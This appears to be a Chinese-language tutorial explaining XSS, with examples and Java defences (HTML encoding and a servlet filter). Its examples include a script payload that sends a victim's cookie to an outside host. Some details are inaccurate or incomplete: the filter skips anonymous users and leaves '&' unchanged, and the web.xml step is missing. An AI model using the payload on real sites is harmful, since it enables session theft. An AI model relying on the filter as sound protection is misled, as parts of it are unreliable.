web安全漏洞之一——xss攻击

1. 什么是xss?

     XSS又称CSS,全称Cross SiteScript,跨站脚本攻击

2. xss攻击的原理?

      攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如:盗取用户Cookie、破坏页面结构、重定向到其它网站等。

3. xss攻击的分类?

3.1 DOM Based XSS

       DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。

例如:有一个url,后面带有一个参数content,当a给b发送一个url:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当b点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把b在a.com中的cookie信息发送到b.com,这样就造成了b的用户名密码等信息泄露。

3.2 Stored XSS

       Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。

例如: 网站a.com可以发文章,a登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时b和c看到了a发布的文章,当在查看a的文章时就都中招了,他们的cookie信息都发送到了a的服务器上,攻击成功!这个过程中,受害者是多个人。

4. 如何防止xss攻击?

方法一:对用户输入的内容进行过滤。

less-than character (<)

&lt;

greater-than character (>)

&gt;

ampersand character (&)

&amp;

double-quote character (")

&quot;

space character( )

&nbsp;

Any ASCII code character

whose code is greater-than

or equal to 0x80

&#<number>, where <number> is

the ASCII character value.

      比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

具体到代码中就是这样:

private static String htmlEncode(char c) {
    switch(c) {
       case '&':
           return"&amp;";
       case '<':
           return"&lt;";
       case '>':
           return"&gt;";
       case '"':
           return"&quot;";
       case ' ':
           return"&nbsp;";
       default:
           return c +"";
    }
}
 
/** 对传入的字符串str进行Html encode转换 */
public static String htmlEncode(String str) {
    if(str ==null || str.trim().equals(""))   return str;
    StringBuilder encodeStrBuilder = new StringBuilder();
    for (int i = 0, len = str.length(); i < len; i++) {
       encodeStrBuilder.append(htmlEncode(str.charAt(i)));
    }
    return encodeStrBuilder.toString();
}

方法二:使用过滤器

过滤器代码:

package com.comp.shp.web.filter;

import java.io.IOException;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;

import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class IllegalCharacterFilter implements Filter {

	private static final Logger LOGGER = LoggerFactory.getLogger(IllegalCharacterFilter.class);
	
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    	LOGGER.info("IllegalCharacterFilter init");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException,
            ServletException {
        HttpServletRequest servletrequest = (HttpServletRequest) request;
        //获取当前登录用户
        String custNo = servletrequest.getRemoteUser();
        //只有登陆的用户才能输入
        if (StringUtils.isNotBlank(custNo)) {
            // 转换特殊字符,继续向下请求
            chain.doFilter(new IllegalCharacterRequestWrapper(servletrequest), response);
        } else {
            chain.doFilter(servletrequest, response);
        }
    }

    @Override
    public void destroy() {
    	LOGGER.info("IllegalCharacterFilter destroy");
    }

}
 IllegalCharacterRequestWrapper.java: 
package com.comp.shp.web.filter;

import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;

import org.apache.commons.lang3.StringUtils;

public class IllegalCharacterRequestWrapper extends HttpServletRequestWrapper {
	
    public IllegalCharacterRequestWrapper(HttpServletRequest request) {
        super(request);
    }

    private String format(String paramValue) {
        return StringUtils.replaceEach(paramValue, new String[] { "<", ">", "'", "\"", "&" }, new String[] { "《", "》",
                "‘", "“", "&" });
    }

    @Override
    public Object getAttribute(String name) {
        Object value = super.getAttribute(name);
        if (value instanceof String) {
            value = format(String.valueOf(value));
        }
        return value;
    }


    @Override
    public String getParameter(String name) {
        String value = super.getParameter(name);
        if (value == null)
            return null;
        return format(value);
    }

    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        if (values != null) {
            for (int i = 0; i < values.length; i++) {
                values[i] = format(values[i]);
            }
        }
        return values;
    }

    @SuppressWarnings({ "rawtypes", "unchecked" })
    @Override
    public Map getParameterMap() {
        HashMap paramMap = (HashMap) super.getParameterMap();
        paramMap = (HashMap) paramMap.clone();
        for (Iterator iterator = paramMap.entrySet().iterator(); iterator.hasNext();) {
            Map.Entry entry = (Map.Entry) iterator.next();
            String[] values = (String[]) entry.getValue();
            for (int i = 0; i < values.length; i++) {
                if (StringUtils.isNotEmpty(values[i])) {
                    values[i] = format(values[i]);
                }
            }
            entry.setValue(values);
        }
        return paramMap;
    }
}
 最后将过滤器配置到web.xml里:

相关推荐